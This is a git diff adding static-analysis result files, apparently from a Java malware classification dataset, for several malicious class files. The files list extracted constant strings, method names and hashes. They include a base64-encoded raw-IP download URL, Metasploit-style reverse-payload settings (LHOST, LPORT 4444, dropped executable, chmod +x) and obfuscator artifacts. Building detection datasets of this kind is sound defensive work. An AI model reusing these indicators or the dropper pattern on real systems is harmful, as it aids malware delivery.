ZRb2xfg!06P=1faR1\\\\6I1q9R1FhCx2YOD!0Qbgp1,m1Jl%33@3R1ju2Y&r1vHA1)Qcr09Pr_0ie0PR.!3NJZH3yrb31bvA1ggnT13hL*2B=0(2-/2z1s2q^0ehSW1jO3&OtC2hv72g.Gd2W&0k1Mt1Kh@2U1v1!ArY0/x2#INT2VMJ1#STV2&8lX1wIU17u.I0Q&1pP,b02uO12Lo\\\\1^yy1MiI124b1uJ2i=Aa1hS3yOtA2tWL,1kN1uX2mShI2,dYS2!\\\\GM2=&5X12or1yh2+nhf1%gpi2\\\\-90nf=3#w^s0XO=o1R2n1GMN11f06dk1wq0Ml&t0rZS1P4/1Pi1RT-S2M=xk26+t3lo,00fTiB1R6t1/fL1Gi)1DDqn2pim=2jb6C0rkO1hZ.3=Iud1lpwQ1=8K1txQ2@R/j3DGMI2Ju11%BE*2qKFD3PNXI2MUuF16HP^0Jfl1BPe1WCsq3!#&f3CyV305Ynv1nlYM3#B2u0l\\\\cc1PcS3K+6Z1L2vd2*p+1%r&/10Mjr3DlNR00HL)1!t.T19oy0QpO0FMq1Kr3F6fm0wJ1BnQ1QV@D2_&nT1o1^I03M1IH1nmmN2s!gJ0IX&1viLt2vfoZ2m1i29Jgk1^jIn1%iXJ0Dl3^zzr1Dh2tK2*1.Dh0TK_1OqRd2l@52j!EH0/YJm1#lKF1sp2^hA2vEn)0AY%1TJE+1VJhl1TXy1*o*0qn2ALl=1fqQD1Xc(.2SJsb1yMlp0kf1B1_0PB0sTnK1QHr0jS0xbf0ZGzW1_r2+su2u_l!23QMw04=UI3ok2E0Xtm3bsEg0Eu3j)tL3_n=02J*s1UM)x1dXD1eA1qs\\\\#2SY2S0+Dj%24hCZ2TkFK2QAa-2BK0)3tD8t18I-o2q^O\\\\2!My+3)C.z2^%Q2oieK2AwQ1QsMg2lyUX0zS.r00hwq0NZ#35lQd1vJ*U1Cit#14zg1ImU_1nw#1t7Xt2\\\\kj-1QW0LQ-13DYb06j1HE11C+1U2L1C9d/2O(DY1)cX1&i!1TP2(LL0Tsv=29.TF2=MpG0Y!=2ExHH1c/=N0bd3I%p23c.@L2,+O2s_CV35AVu2QAXg1TuA2pX6s1Zyo^0Fsm2\\\\/yR3pwS/2%A10HAo_2qgzD1/fBb2b321Na0Nv1h7gA169e0o.Aa1SO1Uz@d1bTSW2fQV1x1^x0Hth1k1g3pJS61BK(0hO1&H/3Ztt60lr1JJ,e2ZhT2!fP^1Bk%1WMO1LE3&4A616Lg1EH#2*NM0K\\\\2AwS_1I6,D1)0/t1F7y%1/p0xW.C1Bo1CM_1-xi1)ENp2dF4+0sYRx1Djk0mrM1QRul2DPb1ew_l0vp0wgj1Gl!0q+z0Yk1QG1!S.Q3x,Yz13wCg1Ioo2,SN@20Iy1Y2!P3k3mc0+%.*1ZPH2#Mu1eSF0f,Nw0mgZ1,t14HKh1Qe-W1)0A1pB\\\\0i*F2RZbC2SglP2dgvQ1LFw2k5jM2NzQ0iy26QBq1/x,0KUqN2=@Bw1MFv1LupX0WFH0DW2b@Bk2=QL2Qkq0IOTE3(DaF0f.0gLO2_DNu1JXH3kDRp1hl@B1_jY3x_DX3T#5E0JqWY2Pm41^BbN0RP1At^i2W4Id0PI0M*2Qpm\\\\11l2X/u(1YN0cI2s4v+1IJHX1Ki)L2t!Jz0ZDF0yLm1@wU08P0Bb1*Up1kpgk1PY0Oo0v&s2Y-j0kCV1piQh3GN.H2d\\\\N266u02V00*bC2y#J21YEx1#b1pUA30!lz2y2Z,2-CB2nX+0d#01ia1.cHx1wQy!09ax1c30Jb21E9u0Qu!X0Fk-1(ey2m5nC3nQCJ1hpY1gOlh1TT1_DJ0tZ.0Rf1m7i3%0uy0K,2ck1I2dR6\\\\0lNl1@O,1KFH3Hm\\\\Z2NxJ18w_+2X,Z2O)F34!\\\\G29zMz3T/hM1DCN&0Zz2Dk/0as\\\\13sJ1HAc0qb*F0O*1Cu00H*31j9Z18R217ZD1kJ1/DU\\\\0+&Z3lS8Q1(O0Myp3ifvW16Kh2e_Tw1V3PS0Oy1F/2WVym1VJWd30,Rt1wen,2RQ1y1ku2qdHN2*%Jt0jG37^Ag3xa2g2K,0k192T2!#p1i90UfGE1BxE_1oSI=09E.f1kw(2pWeX3f+NN2oev)1!Rp3p2&v2OOC.1sjs28g1n1(P1U8S,2xiPW1ScJm0Ez0M#rq1vo@0L/%_0KL0uxrY0zV10l1xxf1GbI2&r0q2hwp2_vD1S5z1F3#1N/\\\\n28^u2VaJV1./Vt1ibCO16jel0XB2BsND2(Jk1k52ok1P0mCq+0DMO3SS(k0o@@1Z0e1lc(09Zw2u!T0s-w1#Ic1Nrnm2TShu2XNC2r060gd3uZ*T1/G2P16p2rIpw3fhGG2wJW%1SIuI3\\\\JAe1i1+1@ueo1cXnl2H%GS05Ij2ytw@2_Rc%0d#0MP^q1OY3.A@x07N0Z=Ba21RNn0N#1CUEB3fC\\\\p1%f1=+l)0/%0rW(m2@rk06YQ\\\\1@T1qWGJ05^E3ITnf07^Ch1M8+1Vi=0dBz1WZ1pY=0M-#1WD(0d_2c^01-h2\\\\XN\\\\2L1xR1Pok1ZhvQ2Z%71N+%o2eOV^1=m(0b!gb0Y=L!1An*b1.2O2-UG1jx149I1G50egQ1gWE1GGj2Fox2MguD2n6q0vFW1eaP2pCP0uvU16LF1#vD1IGT2T&70ND2j\\\\701b0U\\\\2!DHY1,ed1q3g1Gq\\\\.0DB3kz3/1FGs0xCw,1UyP2%gCG1Nvf1)dr0FGx1_/n1m8Vj16Aw=1yaQc0Snlh1JP,_0Aa(e1U4ef3N^uL0C-z1,8t_1_D1^In168Y3mHbP3SItD1Jkx.1+1l=03x*.1jj^1!wTU2SwF(1@v1f8k0wWy1hDG1pQ@2MyMA1)KFL1oWnq0tAqF1+B&e08#qf2+^L0SLCo0v/0Jm#%1hhjR1Hs2BuxL1xk1&BGC3V7zV1QaQh12yK1kM1BX1PN(3L#rD0QV-A1jh.3jf^i1Aeq0bvC2SzzL0p(qB24uWO1Nc1wZte1j4pQ1VOrr1+Zm0hMH0PC1qW(g2Hk7B0Vgu+1OY=o1egR1i+1q91.S3Y-sH1uv1EJJ*1Dg1*EjF3JiRo1@8j%2JjQ0pxr2@Jzi0pl1WK*/1Hfw2@rOA1mO2qIOa0sC1qj_e01X1Zq2gbvr1O6-h1GRF1kGHT1n5C*1GBTg0sH-0Qk=1.J.I0fN0Ct1MpR0ZG1OdQ@106R(1++%i2x1f%1C4hZ2wrc3oI1a2TuL!1HsS1_p-s1jlP)1TeBW2LtGF1,7K22Qr3mL0D1p1280Rx17lg3DFgS0S_2wdCZ1d6Va1ic@0W!0LOx.2-&c1/TB02hwL2hSP*2hTCS2C-71oSh1WOt^1.qo1Xm1,22@&B+03N@i05Bg0cbO1DBTn31QNr1AHV3C)-P0oniM0KsP0Ve1lwIu1s0nL3NU,11uCsV1=Dy1ehn1BhP2bP42)gRj2#8T0JT%09Yb1(r2aKG2ch8&2@D21s80oRG2do1/3dd740Ke1a+2(zGV1cOz1.y+M27YPI19OVs2)eu+0myrg1.YxV1SDd0BYu1-8W=2u&9F19L1&2AV0bK&S2nMyD2^XrM2JXC1CnXE05d\\\\06UL1AJs01KXC0SzZB1L9nR2u3C!2(8T@0wL1=Nv0/BMD3g1QR1_N2dTH%0tK14f+V0Xg+0t_I38*bk3)2^h1G+tp0XzG\\\\1Xp@1#Tma2Oput3q/yu1ERR2/\\\\zm2qVD.1ghpy3ZzMA1Gox*2Xnub1Jqb05\\\\/P1EPVY1Z2s1+eOT3K,VC1@t2-dDi1lEw2)4j28HPF10T2)ld1*2-20glO0nvpb1=N0Co1#vt1qJCG1ty-0p&t1\\\\H1rjN2heqH2#^dt1hl1p0Oz0N\\\\2z3gO2eF62AK+X0JV%e1yfbE3VxBr1uDY1sV#0Y*y_3S7uQ2Cpg,2Ara*1\\\\w2kB5F2\\\\8qj2htzo2NQA1&U1!BTd2weG00*Q2+dd#1o92HfHP1spf1ZYAI2#bc3)(Kx157s1*91gW.d1CEN2C9/1&u3G-(621J6H3kJnP12H1r1j2O8d@0I=-18ZDl2h50w1MAaO1JK#0lUxc1O4tE0oV+2jcu3XzLD0TkPV0EGK09(d2xqqr15lt1Jf\\\\1Wv+K1@ykD2L1Q-2aiYV35%Fa2%OCh2m8N1WMG1K3Dv1vf^v1Ar_P2X,p/1kMvf3=t533(C5Q10L0On2u0Lq22dn1eE-p3U!iQ0qX.1hY-00Cz1axW0f%,R1ymLe1^P0x+w3XGYC0Z@1S22s^r0Ytg2I-Q2,!Jz1jmG1Nb#.1QFd3)cvX3UkcW2M&DL23Vi/1kbI1G+.1exrM0r#Jy0HG^0Ql14k0k-q2&d6r2jIHx0L(0VA1uG-=1lDFZ1/u1%rvu07h1vRJ*14l/A1vos01#j14H1Toxy2=Tq_0dh1e4a#1qmf1n+X/0eK,m0HT1@zxZ2dESW0kxA1rJQG2i&0z0Jw@D16NBy2Xxe268R#2t_Yl3VrX207j1Xr+_126Gl1OwC1BOl^0mo2j,+h2-VIw2x#K=1COD2R4ON1*aM,3n=QZ1770+P3+ltD2N)uB0+R2w3RK3Bsdv3%K*V178wI1#kiL1O1-h10tD^0hvDc0VN!B2T26W1nrEM2j/Q&1&h^X2PS0-1-w%0gyuE2iYli1NUc1Th)V3!orX3jlCn0JG0T!0f!m1Exfe1k4x1#i.d02U=37QDS0ZE2^vP.2BKRU1(KO22(7.0kR0tB0dEG134H2FpZa0Eun0x#.3^4+p1.IOO2W68Y1lNSb2_xMe1wN3t\\\\#O1m0S/1OKN0jKg15aKd1QfHa1Apm1gPA1mfKM2dBpy1Q5xP0pss%3OoFs0hb2fzyu3/^h90BKE+1Kkjs1jsr+19h^0Mpt1apuD0ggd0OhC1OIi+2cv5n3s+4W2v&Fs2%KN@0L-@03!VI1GN2@oAn1ec1-h3i1Mz09,1.xF2.5u-00\\\\0munX0Nxe2fky1wyGV22fr1O9W1ir1nvc1(n&2Vhl3056w1Vn0+Lf3zSOq2.=4M1TkB1mNvb1Vtd1lin&3W,jP1yIuy13Vz0d@1UV0Zzi1+Ont1sjJ2uxW1Y00Z%Hg1TPWb24Uz3i_ZZ0My1hRD1nDHY2M-EV0gm1FN%1_90smf*1oTA21zN0iA2MoZL0/xi0AVbI0+_r3bMTp1-iRc1hWnH1Vhz2U!L@12Vs2Wspk2)9eg11Uc18Gq10jsx3dzkc1JhA1ty(0fr0wNTt27uZb2WoQZ0kz%1bwAM2)ri1OK1eDzh2kth=1RI2dUZX01j1#VO2)8x2jabX0JWyS3uJ2/1V8vC1rI//0Sk2oQJ-2TMAY2xk4n03gt1bVWN0IMLI1,cWO0sL2a5f0fn2-HcT1DI#18un1%D3pHEi2SLi2G\\\\1#2viJ10b*+2Mzw0J%&1cyf2-5DF2Mld1\\\\n_R1LLMv3/l011%E3FRyV1tFFq0eG16Z1XS0/hx1t819aB360AZ2BNw,1Pyy1%B(21Abh1%4M0AMDq1n/,p1)0Wp0BXr1mPVC1oO2RNNq05ts1L7QS1CV*1dHLu0AL1rl3rd6J29Ett2Z_V2Y=g1yXu2c!g\\\\1RRF3yT3o13/1rm!O1+Qs0d%^0Eq1wr\\\\H19Q#w0YEhr1OIQ2wed0l^.q1SmZT2e@6e1L9r0ZH3mA3F0Vkf1Vfs15RLn04=2d9LM2d&u1gXP0iU2)hqL0DH0ZT1Xoy*01*0ohm1(q26Fn33pJM0MNN1l6pe1Xp@d0vCrj1U3IV0qE1u8BN0ja2/rp)2Ng3U1ZZ.3,L=f0ZAN1-e15v216Sl1OZUA2b7Q1/MqJ02Sa1!Pl1.aNj1l6E1Tc^1gGt%1!u,H2eEa3^cJc1ZKO2@+d3E*YR188xg2hFYD2IwlW3joNK32NgP1fK@3!8%l1!6!3+@PV1p5yR1iSy/1ePEA3,nnc10LS(1uMf3cIYL09SX1ZMJ-13Dh0U\\\\km0U&D0Ysi^13+y,1XO0wr0SWc&2u+a.0/Z\\\\C1@W-#0fx&y0MCF*1)m/2+K/03GX2Zyc1YW#G1=+R1G1W_3O%621(NBi1.j2MuRe1SbmV2sGZN2Gt31WI1ub02G14F1Gq/U2qJbN1(vc2+_71DtSj06oZ,0+(d2f=9i1wlg1RDG21tsp0k(o3OO!/0dksY1Oj1q0p#0/AVk1HZQ1HR)k1^nhS12a+1HghT1FE*1MRXx163s0xj2sfOY3d*0Y37c8I2Ej41vy27Dw^1\\\\WJ3%VIJ1mtT0s/F2@M4B0NKy0Cw0dWRw1j107mv16Sy1+zH-13c2Gb7x01@2Cye&0H/2!PB24Hu2Ql8P1.lL10s1!Bj2MkQ(1iI+0jqz2ZWv+2fOQX2pjK0vH!c30!N11Gn1%pNT1sXY1(v1ZYL3g%\\\\k0Tu0WXQW1_Q0N/1nJA3FrY01lsbr1nJCP0KP2s712L^z1MD^2w@wj1eKbm0zt11yv1QK3OkBI1bG1M1kU1+NwZ0b+0oox2gHz2\\\\Wm1Y8Ii1.n%1uS#1LMIZ0Bys0rJg1HGYB3aBOy1B9#s0pdG2RCZ2(Xj1imF1N+\\\\00u1\\\\Ki0FU^D1LvX2cl6+0TlSO2d+3-2tGy/1L+X3esQq2D1eS2eXIY28sG3lj!M00rh0O&By0I=y1xw!i1-U3Y_dx0n*s0kM(a1Q0X13yU0vT#0yPVn0t)2FeXW2Q221RuH2lQIh20EKK0SaYb1WbP2wVjF02\\\\w0W^3XGUx0BJJ178\\\\2f9N25AE0BF1FhL@1zoES1a8N1+Xs1OG%N0J^I1a52DxF22!rf3PWVe1*kNa06n/M2A0p+0rg1HeS03+2/*uS0oA1fnCU1l8yg1eqk3JI5315S13yLf0io0q_1Psm0kUvJ1@kz=30OCg2(*Bt0K,#I0SxV_1rFn0uhVZ0tL0lY0D*(v1waf3trj52*hX\\\\1#m#1BsNP0gn0Yd0N=Im1Xa.k37mV133yug3wG3e2n2d26va*01R0ROo06l2nnn1HH0mwPz1SOU1Uc1amDS1lJ.2oit14cJJ0y.2%K/0gdaH1JvB1fG&2rge)11f+d0fw/u00%Vq0Gy+/3XSav0Bw2u!22uRbj2nR6J0Ce1MnkN0iId2q#r0sN38TlT0DBIR0vd1S4l(39K\\\\01ap.d1wxS0Hkl1sW=l17HG_0F!.1HLRL2KUmG1c7ag3VNn80PVau11i0U(16nw/1IRDa1*D%b2@-VP2qVGM2FAnp2g02L1jVix3zs&D0Of2#vpg0MsMc1Bbr2o=81UrV-0ll2v.Kc1I5-T14ZkN2RVFa2Pke.1\\\\Wl\\\\1570qY1lcQI1ExXO1h3.1(P2^IU1zFT3R90C1&vD2\\\\tR+0GqTO2VZUa1mvFq0vp\\\\20Mi2Qmsf0XZ18omD1Yf_14RL0LVl00I1Wkt2LU9n0q*C2GOx2Fed1s6w2T@nM1dXt00K0+yc0reu2\\\\%g+1iM=s0EjZ0xznF1T5n3XV*v3h\\\\TD1NrP2MWK2-Ix2/dEn1,u3oJMw10Du(0pcVM0WXXt1)U@r1Qk)06w0x&Q3Jn@s1Hrn1nc/16E2&UOk2gE7j0GF21)Uh1(v*1mMv2N7Pc3KEgY0x^E0rNI(1xRD1+r1JAz1P7f-1-oz1(m1=k_=0a#1hRs1icw0ZeZ2=gk1Pi2e(fP1JPW1J8M0S^q0OW03!gW1*q25!G1gR/2HEKo0T!1tzBz2\\\\!8H1o/rz0lu*y09w1-U#17hpd1iPf0+Vv_2fV7d1JVe1%Uv(2z-Hj24ZJ2_v90rU0n\\\\eA1UQ2T!E0IjId0I=%V11NQ_181#1_D(x0K.zY0QkK2tHDn20exB23VsB1kMq*1D/0o#2PHo1*hQ01!0vK0i#DQ3XVrD0y)N189bu0rXU00jl1&Sh3V+4s0bPZU1Oem@1NpB2cA63oiVQ0q!3D%+30dCi2k4A1VGic1FG17op2\\\\0q2)iu2T=F1YMtu2xAo(0aLX1sxfd1XCMd3\\\\wgd0HWa2Enao2j=i2Mgde2\\\\CMx0zJ0NA2JJY2.0el1SB(1_7kO0q=D*39N2902+3C1)l2yGjG0W,0dyl2onR/1*hY2i6x1,Ap0bJ*0U=10yW2\\\\lJk1nUye0HF2Cl1z1.IfP2jxzA2a1dI0nso1Z92h\\\\vU3)#)82RFFP2/2xi1fc1(KJ0/T1@E@!3!*gZ150s1rCL0gua1\\\\bI3L3W026Wsn1Sxuc1bRV2\\\\Ibl143\\\\*1@U#S1_zb07/1QUth3,O/716B2*=JY2lUW1/3hk1u5P2iM20OG25Zbl12hsC1zs2Enr1BQo0a%n1*71,1Y0auou2Y3m!2nAM2aNsB1x4y^3rUoP1ruK1=b0cIF1yz)10JA146uj2ewg0HJc1snl&1jMi#1h3w*2/IP1_/\\\\d1DNU0Gw1V5*w2MLX1Z3!w0fTA2-ZAz0YIS1jGoe1WoBi1yoML3\\\\Jd+01+3SzL/3g@3Z1c3NH1v8h1zP1uve1vHg)2IMn246Ap3\\\\QAh3Rta629PUB2brz0NdzO2*k4&1@/j3p1&p2EdOT0LVr0oLg1Qnu0fd2K!xp2mN113g1XbQU24ICO0Dvw2.1j#13jHd23*fM0fJa2@.j=2L^Bk2XPGQ0YvA+2mmsY0Jg_^3Pq%L00t1OEIS1oY1PEv0NIxf1Kc,&3#Laz1ln0iXP2%BX0YXU0LTM1zbQ)1=db3&MTi0V%2nMo0FSi2shL*2ue1.1CVTa1JR.i1YT2+DLx1S309#px1YL-11VVE1YQ1+m1J4r3!sTK3g/tA0PGW1u7t-3OBDd1/VX17NL_2Kwsk2Hr90E)1kAnH1W910Xg0V^0Z\\\\0/xMe0q-YT2M/nz2.9U1dmF0XTQu1zZi1@rv2v8E2p.J1kH1j/lR2V@V_2a5I03Naj13oh\\\\1pOf13HO-1MwNZ1U4=Q2SibF27z6)1mth0s_.(0vP*B1jt1eAl0S@2glF1cu3.V0T1.AsR2H&rU1w/2L\\\\f^2Nbh(1RJS0xl3%.na2eD8S2jXX07f0vab\\\\1mOI1SflU0qAF3wWA73caUu2^oW0F-0FLr,2ONO2s#z1yRH2A%U0M/j2B,F#3vHvj29*m_1jeZ2B(Ft2c@ZG1(h0mo1rBcP0w,Kv3/XQg1Ru11LAO1rrz26ilZ0U#WK1Yve0OT1_Ep1k4g0gCKP1-Kyf0Xe,J2g3ZJ1hJ+1ph0//1zq20WR1BG_&2_8G,1\\\\Ip3C.br00Yg1(WAX0Rrql2emb1ln#s2T-1n14Si17yWH2k1j0Nj3BLS31^Ss,1PgZ2A-k.14eWM2yqf3Exlm0Wx+F1BQA1eyxu1zUa2^)+0Cc@0M^21y5W3(e*o16mK,2kWW1\\\\Xs%0RO1bpvI2_XUb1_e0MBN/3qhIo17DH1Jc1eS%q2PWWE2JdEB2Q4uY0e@K1JJCi0S.0Q@x0K-X2J(81%3RY2fHc1B3r1Kk*0T.3@,iS1FtF15bdj0zK#M0Dy1fsW=1DzP11JKZ1iJ2UnR0Gv&+1N02hkoK2gYZe2dpk3AJO32iFN@0sqJR12ra2qmA3-QuC1ImO1am2F6Q!1pggV1wvuh1Bi38wBW1vRu1-2pf1g9Q2(7I2Fo8N2StQu0xUE06u#2tPx05(1dp02X2hlh@1ARlA0qV0Pt1UQan1x9W3%9790Ylge1)6W3dHHb1(51Bo2lI1j1iHjC19O,09Sf0Se/2Fjy*3M,ck0Qg1nM\\\\2fOF2Q6X2MP5H0ps0/iB1/0u1LjQ1Sc+0GHw1!co/3H64i1qDQ0V_Dj1!w&", "qS7iiIUC", "sJM3", "49", "IbqAou", "WDlou3l", "neTyNdAGN5GXAPz", "Pdby9y2kcmeD45xia", "XHWEJWNdTmox0PrIABlg", "cXXafdFtQEiXaMrM", "run", "HMhICJiDqTruPcqhTmRp", "NVFIDHCllwjPmkhXLutuRlLM", "vwYVhtsaPeisBMIqnDLI", "aHR0cDovLzIxNi4xNTcuOTkuMzQvZm5lcS9meW93eS5waHA=", "res", "bFRVyjadcSdizFRZu", "cWoriqrczdjleLSFolr", "gnGNyzjggqUmJKAks", "xQeeXhcyBcxvFH", "BRDddWcKlTGrVaupjRH", "zHMitIizFnfDQon", "TMyMolIbWjJAVXhcGrJNkF", "BsolrSkcCpa.soaEiEBpHZ", "IVCriJckywqUuY", "WjyOwSjygvYyf46OkCiM", "DZjRzxPEtlisW"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "585bf87ba6ead1f9f6a2dc7b62647efc28022260", "file_name": "java_malicious/524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712", "_id": "391d01ac-e7fb-43bc-88a8-73cd3cfe07ed", "score": 0, "entropy": 6.436081719366374, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 17843, "ssdeep": "384:XmvokjYm4Yl87DUnTeGABn392uEf9ENZwb/ec95fu8iu:ZkjYm4i87uTeGABtRvWVnftiu", "sha256": "524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712", "md5": "9c237de2132ddc4acdc8b0620bf3ed73", "parent_sha256": "524b0223309aa7b9a8c4436d1dbef6fdbf4aef4d3c9af0e5fcdc218018d77712"}} \ No newline at end of file diff --git a/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results b/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results new file mode 100755 index 0000000..e0bcdc1 --- /dev/null +++ b/java_classification/data/malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Noctyua.java", "class_name": "Noctyua", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "OPVkd", "Senne", "To"], "minor_version": 0, "const_pool_count": 106}}, "_id": "4fdab395-9f7d-402a-8626-446407ee60ba", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 5.268425593989942, "obfuscated_data": {"substring_brute_force": {"34s": {"qw34sertyu34siopas34sdfghjkl34szxcvbnm034s12345634s789_-=_/:?&": "qwertyuiopasdfghjklzxcvbnm0123456789.-=_/:?&"}}}}, "constant strings": ["\\\\", "cjft_/vwy6a92p=m8gr3s.?ud4:e&hxi1nz-0bk5ql7o", "", "qw34sertyu34siopas34sdfghjkl34szxcvbnm034s12345634s789.-=_/:?&", "34s", "hdlux"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "601b05f8796d0a700183f0580be89ac27ed8e6a2", "file_name": "java_malicious/524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd", "_id": "4fdab395-9f7d-402a-8626-446407ee60ba", "score": 0, "entropy": 5.5227276702793295, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1616, "ssdeep": "24:izXoyQulj3G1xI1KaOdUO3/H2RLa5rtNcxzsFjOzo8Evjf3jS7tYie8UYcvw9R:VyFl61cKayUO3/6yrmzssNYEcvq", "sha256": "524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd", "md5": "1db44dc3731a306b587486fae50acb7b", "parent_sha256": "524c6e42ecf92df393e4db53b18c9e101e83c769310854e6a5ab52549be489cd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results b/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results new file mode 100755 index 0000000..b583b68 --- /dev/null +++ b/java_classification/data/malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "AYtRpxzDzf/IiPUCFA", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "7056651c-e4ea-4973-8b73-fdca530858fc", "verbose": {"java": {"constant strings": ["AYtRpxzDzf.IiPUCFA", ".class", "/AYtRpxzDzf.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "AYtRpxzDzf.dat", "URL", "", "https:", "AYtRpxzDzf/IiPUCFATrustManager.class", "IiPUCFATrustManager.class", "AESPassword", "AYtRpxzDzf/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "AYtRpxzDzf.IiPUCFATrustManager", "useFor", "java.net.URLConnection", "AYtRpxzDzf.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "IiPUCFA -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a5fb8aba9d062000cae424d0296ff86973f29897", "file_name": "java_malicious/53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb", "_id": "7056651c-e4ea-4973-8b73-fdca530858fc", "score": 0, "entropy": 6.152287266723282, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMvDUBs+WsHThmMdxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1t9s+tmMyNvpvUrKYvCkgHzbDrDF", "sha256": "53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb", "md5": "a96cc36759edaac74fdbf05384e776eb", "parent_sha256": "53131e0204e25a5edea37ccc1144c7b3522ff1fa48536d36b8812f37809852fb"}} \ No newline at end of file diff --git a/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results b/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results new file mode 100755 index 0000000..4679cf2 --- /dev/null +++ b/java_classification/data/malicious/53b6635cbf1e0ed76820bd3161f2876337de1e4fb08297a41a96e407b514333e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "y", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["IIiIiIIIII", "IIiIiIIIII", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "getResourceAsStream", "loadClass", "IIiIiIIIII", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "", "ALLATORIxDEMOxASAASDmaDASDriASDASDDASDASDASDADQWDQWlloQWDasdasdasdsd", "findClass", "main"], "minor_version": 0, "const_pool_count": 315}}, "_id": "141b755b-d22c-4555-8fcc-44ca8cd704f0", "verbose": {"java": {"signatures": ["Ljava/util/HashMap;", "Ljava/util/HashMap;"], "constant strings": ["", "\\x18-\\x1a+\\x1c)\\x1e\\'\\x10/", "rhQ`YlL}1dY", "0\\x05 \\x111\\x04$\\x1d=\\x02", "\\x1d", "\\x1c", "*Q\\x7fDwA", "Mv", "%\\x10!\\x100\\x056\\x0f4\\x0b", "\\x14", "\\x15", "+PmV~H", "\\x12\\'?\\x0e4\\x01$\\x1d*\\x15", "w=k|H\\x1eZ1\\r`TXt\\x1bU\\x1bU\\x1bV`L`L", "=*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14*\\x1c-\\x1b.\\x18\"\\x14*\\x1c-\\x1b\\x0e8\"\\x14\\x03\\x1c.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x18\\r;!\\x17*5-\\x18-\\x1b!\\x17)\\x1f.\\x1b\\x0e;\"\\x17)\\x1f-\\x18-\\x1b!\\x14*\\x1f-\\x1b\\x0e;\"\\x14*\\x1f-\\x1b-\\x1b\"\\x14*\\x1f.\\x18\\r;!\\x17)\\x1c\\x04\\x1b-\\x1b!\\x17)\\x1f.\\x1b\\r8!\\x14)\\x1f.\\x1b-\\x1b!\\x14)\\x1c.\\x18\\x0e;!\\x14)\\x1c.\\x1b-\\x18!\\x17*\\x1f.\\x18\\r;!\\x17)\\x1f-2.\\x1b!\\x17)\\x1f.\\x18\\x0e8\"\\x17*\\x1f.\\x18.\\x1b!\\x17*\\x1c-\\x18\\r8!\\x17*\\x1f-\\x18.\\x18!\\x17)\\x1c.\\x18\\r;!\\x17)\\x1f.\\x1b\\x07\\x18!\\x17)\\x1f.\\x18\\r8!\\x14)\\x1c-\\x1b-\\x18\"\\x14)\\x1c.\\x1b\\r;\"\\x17)\\x1c-\\x1b-\\x18!\\x14)\\x1c-\\x1b\\r;!\\x17)\\x1f.\\x18.1\"\\x17)\\x1f.\\x18\\r;!\\x17)\\x1f.\\x18-\\x1b!\\x17)\\x1f.\\x1